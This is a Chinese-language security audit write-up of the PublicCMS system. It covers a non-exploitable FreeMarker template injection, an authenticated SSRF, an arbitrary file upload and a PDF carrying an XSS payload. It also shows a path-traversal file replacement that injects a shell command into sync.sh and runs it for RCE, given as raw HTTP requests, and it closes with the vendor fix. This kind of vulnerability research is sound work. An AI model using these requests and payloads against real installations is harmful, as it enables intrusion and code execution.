publiccms代码审计
前言
看到网上几乎没有审计这个系统的,比较全的文章,于是决定自己跟着iusse去审计一遍
官方手册
https://www.publiccms.com/guide/628.html
环境搭建
下载源码,导入idea,然后把里面的pom.xml文件加载了,加载后,像如图配置就好了
然后在boot.SpringBootApplication文件里面改一下启动的端口
mysql创建一个数据库就ok了
审计结果
api接口方法GetTemplateResult导致freemaker模板注入思路审计
public Object execute(List<TemplateModel> arguments) throws TemplateModelException {
String template = getString(0, arguments);
if (CommonUtils.notEmpty(template)) {
template = "<#attempt>" + template + "<#recover>${.error!}</#attempt>";
try {
return FreeMarkerUtils.generateStringByString(template, configuration, null);
} catch (Exception e) {
return e.getMessage();
}
}
return null;
}
跟进generateStringByString方法
public static String generateStringByString(String templateContent, Configuration configuration, Map<String, Object> model)
throws IOException, TemplateException {
Template tpl = new Template(null, templateContent, configuration);
StringWriter writer = new StringWriter();
tpl.process(model, writer);
return writer.toString();
}
可以是看到是直接拿去freemaker模板解析了,但是我们看看Configuration
public GetTemplateResultMethod() {
configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
configuration.setDefaultEncoding(CommonConstants.DEFAULT_CHARSET_NAME);
configuration.setURLEscapingCharset(CommonConstants.DEFAULT_CHARSET_NAME);
configuration.setTemplateUpdateDelayMilliseconds(0);
configuration.setAPIBuiltinEnabled(false);
configuration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
configuration.setLogTemplateExceptions(false);
configuration.setBooleanFormat("c");
configuration.setTemplateLoader(new StringTemplateLoader());
Map<String, Object> freemarkerVariables = new HashMap<>();
freemarkerVariables.put("null", CommonConstants.BLANK);
try {
configuration.setAllSharedVariables(new SimpleHash(freemarkerVariables, configuration.getObjectWrapper()));
} catch (TemplateModelException e) {
}
setAPIBuiltinEnabled(false)
:禁用了Freemarker的API内置功能,减少了潜在的攻击面,使得模板不能直接访问Java API。这是一个重要的安全措施。
setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER)
:这行代码阻止了模板访问Java类,防止了通过Freemarker模板执行任意Java代码的风险。这是一个关键的安全配置。
导致不能利用
api接口方法getHtml 导致ssrf
这里因为第一次审计这种api类型,讲详细一点
首先在路由处有我们的api
其中涉及到我们api方法的调用是MethodController
name应该是我们的方法名称,然后接收参数,有一个是appToken,用来鉴权的,看你是否有资格调用这个api
然后获取的应该是传给方法的参数,然后执行方法
找到方法
有这些方法,随便看一个方法,这里因为我是利用漏洞,就看到
GetHtmlMethod
注释处告诉你如何使用了
public boolean needAppToken() {
return true;
}
可以看到调用这个api是需要鉴权的
方法主体内容
这段代码实现了一个通用的HTTP请求方法,可以根据输入参数发送GET或POST请求,并返回服务器响应的HTML内容。
它支持设置请求参数(通过 Map
)、请求体(body
)、以及HTTP头信息(通过 Map
)。
就是可以发送http请求的意思,我们就可以思考是否有ssrf漏洞了
然后全局搜索一下这个appToken是怎么来的
其实你通过页面的探索也可以知道
在AppTokenDirective类
public void execute(RenderHandler handler, SysApp app, SysUser user) throws IOException, Exception {
SysApp entity = appService.getEntity(handler.getString("appKey"));
if (null != entity) {
if (entity.getAppSecret().equalsIgnoreCase(handler.getString("appSecret"))) {
Date now = CommonUtils.getDate();
SysAppToken token = new SysAppToken(UUID.randomUUID().toString(), entity.getId(), now);
if (null != entity.getExpiryMinutes()) {
token.setExpiryDate(DateUtils.addMinutes(now, entity.getExpiryMinutes()));
}
appTokenService.save(token);
handler.put("appToken", token.getAuthToken());
handler.put("expiryDate", token.getExpiryDate());
} else {
handler.put("error", SECRET_ERROR);
}
} else {
handler.put("error", SECRET_ERROR);
}
handler.render();
}
此方法用于处理应用程序的身份验证。如果 appKey
和 appSecret
验证成功,生成一个授权令牌并返回给客户端。
登录后台后,添加应用授权,获取appKey和appSecret
下面是aoaoaoe师傅的结论
通过/api/appToken接口通过appkey和appsecret获取apptoken
该SSRF漏洞存在于/api/method/getHtml接口的parameters参数中,通过控制参数内容可以去访问网址内容
然后还发现可以去根据我们延迟的时间去判断端口是否开放
/admin/cmsWebFile/doUpload存在任意文件上传
首先看到代码部分
@RequestMapping("doUpload")
@Csrf
public String upload(@RequestAttribute SysSite site, @SessionAttribute SysUser admin, MultipartFile[] files, String path,
boolean overwrite, HttpServletRequest request, ModelMap model) {
if (null != files) {
try {
for (MultipartFile file : files) {
String originalName = file.getOriginalFilename();
String suffix = CmsFileUtils.getSuffix(originalName);
String filepath = path + CommonConstants.SEPARATOR + originalName;
String fuleFilePath = siteComponent.getWebFilePath(site.getId(), filepath);
if (overwrite || !CmsFileUtils.exists(fuleFilePath)) {
CmsFileUtils.upload(file, fuleFilePath);
if (CmsFileUtils.isSafe(fuleFilePath, suffix)) {
FileSize fileSize = CmsFileUtils.getFileSize(fuleFilePath, suffix);
logUploadService.save(new LogUpload(site.getId(), admin.getId(), LogLoginService.CHANNEL_WEB_MANAGER,
originalName, CmsFileUtils.getFileType(CmsFileUtils.getSuffix(originalName)), file.getSize(),
fileSize.getWidth(), fileSize.getHeight(), RequestUtils.getIpAddress(request),
CommonUtils.getDate(), filepath));
} else {
CmsFileUtils.delete(fuleFilePath);
model.addAttribute(CommonConstants.ERROR, LanguagesUtils.getMessage(
CommonConstants.applicationContext, request.getLocale(), "verify.custom.file.unsafe"));
return CommonConstants.TEMPLATE_ERROR;
}
}
}
} catch (IOException e) {
model.addAttribute(CommonConstants.ERROR, e.getMessage());
log.error(e.getMessage(), e);
return CommonConstants.TEMPLATE_ERROR;
}
}
return CommonConstants.TEMPLATE_DONE;
}
可以发现是没有对我们的文件名是没有任何限制的
跟进CmsFileUtils#upload.代码
public static String upload(byte[] data, String fileName) throws IllegalStateException, IOException {
File dest = new File(fileName);
dest.getParentFile().mkdirs();
FileUtils.writeByteArrayToFile(dest, data);
return dest.getName();
}
直接把我们的内容写入了文件
这里我们使用xss来进行测试
之后点击查看
文件件上传导致的xss漏洞
我们前面也提过上传文件的漏洞,我们知道有一种xss是pdf的xss,首先上传带xss的pdf
然后简介==点击查看
在我们的
开发-网站文件管理-上传文件-点击查POC(pdf)
我们使用通用的弹xss的pdf代码
%PDF-1.3
%忏嫌
1 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 4 0 R ]
>>
endobj
2 0 obj
<<
/Producer (PyPDF2)
>>
endobj
3 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/Names <<
/JavaScript <<
/Names [ (0b1781f6\0559e7f\0554c59\055b8fd\0557c4588f0d14c) 5 0 R ]
>>
>>
>>
endobj
4 0 obj
<<
/Type /Page
/Resources <<
>>
/MediaBox [ 0 0 72 72 ]
/Parent 1 0 R
>>
endobj
5 0 obj
<<
/Type /Action
/S /JavaScript
/JS (app\056alert\050\047xss\047\051\073)
>>
endobj
xref
0 6
0000000000 65535 f
0000000015 00000 n
0000000074 00000 n
0000000114 00000 n
0000000262 00000 n
0000000350 00000 n
trailer
<<
/Size 6
/Root 3 0 R
/Info 2 0 R
>>
startxref
445
%%EOF
替换文件内容导致rce
参考https://gitee.com/sanluan师傅的思路
在开发-文件管理-页面片段模板中,可以进行模板查找与替换,对应接口如下: 替换的请求如下: 对应代码在。 重点在,它直接进行逐行文件内容的替换。需要替换的文件由 确定。不做任何检查,可以通过在请求中指定来替换任何文件的内容。这可能会导致替换SSH公钥、计划任务等。 我们来看看后端提供的脚本执行功能。 对应代码在com.publiccms.controller.admin.sys.SysSiteAdminController#execScript 需要注意的是用来将预先写好的脚本内容复制到目录中。最后连接上脚本路径,用来执行。
所以如果能够替换脚本内容就可以导致rce
com.publiccms.controller.admin.cms.CmsTemplateAdminController#replace
public String replace(@RequestAttribute SysSite site, @SessionAttribute SysUser admin,
@ModelAttribute TemplateReplaceParameters replaceParameters, String word, String replace,
HttpServletRequest request) {
if (CommonUtils.notEmpty(word)) {
String filePath = siteComponent.getTemplateFilePath(site.getId(), CommonConstants.SEPARATOR);
CmsFileUtils.replaceFileList(filePath, replaceParameters.getReplaceList(), word, replace);
templateComponent.clearTemplateCache();
logOperateService.save(new LogOperate(site.getId(), admin.getId(), admin.getDeptId(),
LogLoginService.CHANNEL_WEB_MANAGER, "replace.template", RequestUtils.getIpAddress(request),
CommonUtils.getDate(), word + " to " + replace + " in " + replaceParameters.getReplaceList().toString()));
}
return CommonConstants.TEMPLATE_DONE;
}
CmsFileUtils.replaceFileList;
没有对文件类型和内容做限制和目录限制
由于我们可以在上一步中替换任何文件的内容,因此可以替换四个预定义脚本的内容,然后执行它们,从而可能导致远程代码执行(RCE)。
因此,利用此漏洞的步骤如下:
- 访问
/admin/sysSite/execScript
以执行sync.sh
。这将复制sync.sh
下的脚本PublicCMS/publiccms-parent/publiccms/data/publiccms/script
。
POST /admin/sysSite/execScript?navTabId=sysSite/script HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: http://localhost:18080
Connection: close
Referer: http://localhost:18080/admin/
Cookie: theme=; theme_name=; csrftoken=nagG0EofiBEBUgPkAO3ZHUODrtD5867I; Hm_lvt_c35e3a563a06caee2524902c81975add=1681284434,1681372182; Goland-6d468fe8=7f0149f3-a68b-4909-aff4-4831a68cc331; JSESSIONID=EBBE1DE1D5FFBD89A913A1D70DAC1E0F; PUBLICCMS_ANALYTICS_ID=f945b9f2-19bd-4c7a-8ab0-28384011ddb8; PUBLICCMS_ADMIN=1_fadb2fab-2700-4f54-a679-6e6deb1a5ad4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
_csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&command=sync.sh¶meters=
- 用于执行跨目录替换任何文件内容。这允许您替换 SSH 密钥或上述文件
/admin/cmsTemplate/replace
的内容。sh
POST /admin/cmsTemplate/replace?navTabId=placeTemplate/list HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://localhost:18080
Connection: close
Referer: http://localhost:18080/admin/
Cookie: theme=; theme_name=; csrftoken=nagG0EofiBEBUgPkAO3ZHUODrtD5867I; Hm_lvt_c35e3a563a06caee2524902c81975add=1681284434,1681372182; Goland-6d468fe8=7f0149f3-a68b-4909-aff4-4831a68cc331; JSESSIONID=EBBE1DE1D5FFBD89A913A1D70DAC1E0F; PUBLICCMS_ANALYTICS_ID=f945b9f2-19bd-4c7a-8ab0-28384011ddb8; PUBLICCMS_ADMIN=1_fadb2fab-2700-4f54-a679-6e6deb1a5ad4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
_csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&word=-echo&replace=-echo%3bopen+-a+calculator.app&replaceList%5B0%5D.path=../../script/sync.sh&replaceList%5B0%5D.indexs=0
再次访问/admin/sysSite/execScript
执行sync.sh
,可能造成远程代码执行(RCE)。请求包和步骤1一样。
修复
public static String getSafeFileName(String path) {
if (CommonUtils.notEmpty(path) && path.contains("..")) {
return path.replace("..", CommonConstants.BLANK);
} else {
return path;
}
}
禁止了目录穿越